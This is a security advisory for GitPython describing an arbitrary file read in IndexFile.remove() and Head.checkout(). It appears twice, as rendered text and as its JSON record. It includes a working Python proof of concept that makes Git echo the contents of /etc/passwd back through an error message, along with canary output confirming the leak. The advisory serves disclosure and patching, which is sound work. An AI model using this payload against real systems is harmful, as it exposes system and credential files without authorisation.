GHSA-HH9P-6WH2-4MFC
Vulnerability from github – Published: 2026-08-07 15:43 – Updated: 2026-08-07 15:43Summary
IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":
| Call site | git command | that advisory's assessment |
|---|---|---|
IndexFile.remove() |
rm |
--pathspec-from-file only reads a pathspec; no write or disclosure primitive found |
IndexFile.move() |
mv |
same |
HEAD.reset() |
reset |
same |
HEAD.checkout() |
checkout |
same |
That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
Root cause
git/index/base.py:991-1043:
def remove(self, items, working_tree=False, **kwargs):
...
removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043
git/refs/head.py:237-268:
def checkout(self, force: bool = False, **kwargs: Any):
...
self.repo.git.checkout(self, **kwargs) # line 268
Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.
Proof of concept
from git import Repo
from git.exc import GitCommandError
repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)
try:
repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
print(e.stderr) # <- entire file contents
Observed on published 3.1.57, against a canary file holding three marked lines:
[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
stderr: 'fatal: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
stderr: 'error: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3
The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
| Call site | disclosed? |
|---|---|
IndexFile.remove() → git rm |
yes, full file |
Head.checkout() → git checkout |
yes, full file |
HEAD.reset() → git reset |
no - git reset does not error on unmatched pathspecs |
IndexFile.move() → git mv |
no |
The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.57"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T15:43:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`\nwith no guard. Passing `--pathspec-from-file=\u003cfile\u003e` **together with `--pathspec-file-nul`**\nmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec\nerror quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the\nentire contents of a caller-chosen file are returned to the caller in band.\n\nThis is the same primitive as Instance 2 of\n[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`\nwith `-F`, arbitrary file read returned in band - at two sites that advisory assessed and\ncleared.\n\n## Prior art, and why I am filing rather than commenting\n\nGHSA-3f7w-8rr8-f37f\u0027s sweep table lists these four sites with the assessment\n*\"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found\"*:\n\n| Call site | git command | that advisory\u0027s assessment |\n|---|---|---|\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n\nThat assessment is very nearly right, and I think that is why it held: with\n`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first\nline**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag\nof the same option, and the documented way to handle paths containing newlines - makes the\nwhole file one pathspec.\n\n## Root cause\n\n`git/index/base.py:991-1043`:\n\n```python\ndef remove(self, items, working_tree=False, **kwargs):\n ...\n removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043\n```\n\n`git/refs/head.py:237-268`:\n\n```python\ndef checkout(self, force: bool = False, **kwargs: Any):\n ...\n self.repo.git.checkout(self, **kwargs) # line 268\n```\n\nNeither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.\n\n## Proof of concept\n\n```python\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nrepo = Repo(\"/path/to/repo\")\nkw = dict(pathspec_from_file=\"/etc/passwd\", pathspec_file_nul=True)\n\ntry:\n repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw)\nexcept GitCommandError as e:\n print(e.stderr) # \u003c- entire file contents\n```\n\nObserved on published 3.1.57, against a canary file holding three marked lines:\n\n```\n[PASS] IndexFile.remove() -\u003e `git rm` returns ALL 3 canary lines in-band\n stderr: \u0027fatal: pathspec \u0027LINE1-CANARY-4242\n LINE2-SECRET-7777\n LINE3-TAIL-9999\n \u0027 did not match any files\u0027\n[PASS] Head.checkout() -\u003e `git checkout` returns ALL 3 canary lines in-band\n stderr: \u0027error: pathspec \u0027LINE1-CANARY-4242\n LINE2-SECRET-7777\n LINE3-TAIL-9999\n \u0027 did not match any file(s) known to git\u0027\n[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses\n[PASS] PRECISION: the GUARDED checkout-index leaks 0/3\n```\n\nThe two precision controls are there so the result is about these sinks and not about the\ncanary being visible everywhere.\n\n## Scope correction to the table above\n\nOf the four sites cleared with that sentence, **two disclose and two do not**:\n\n| Call site | disclosed? |\n|---|---|\n| `IndexFile.remove()` \u2192 `git rm` | **yes, full file** |\n| `Head.checkout()` \u2192 `git checkout` | **yes, full file** |\n| `HEAD.reset()` \u2192 `git reset` | no - `git reset` does not error on unmatched pathspecs |\n| `IndexFile.move()` \u2192 `git mv` | no |\n\nThe two negatives are mentioned because \"the dismissal was wrong\" would overstate it: the\ndismissal was wrong for half of what it covered.",
"id": "GHSA-hh9p-6wh2-4mfc",
"modified": "2026-08-07T15:43:56Z",
"published": "2026-08-07T15:43:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2204"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.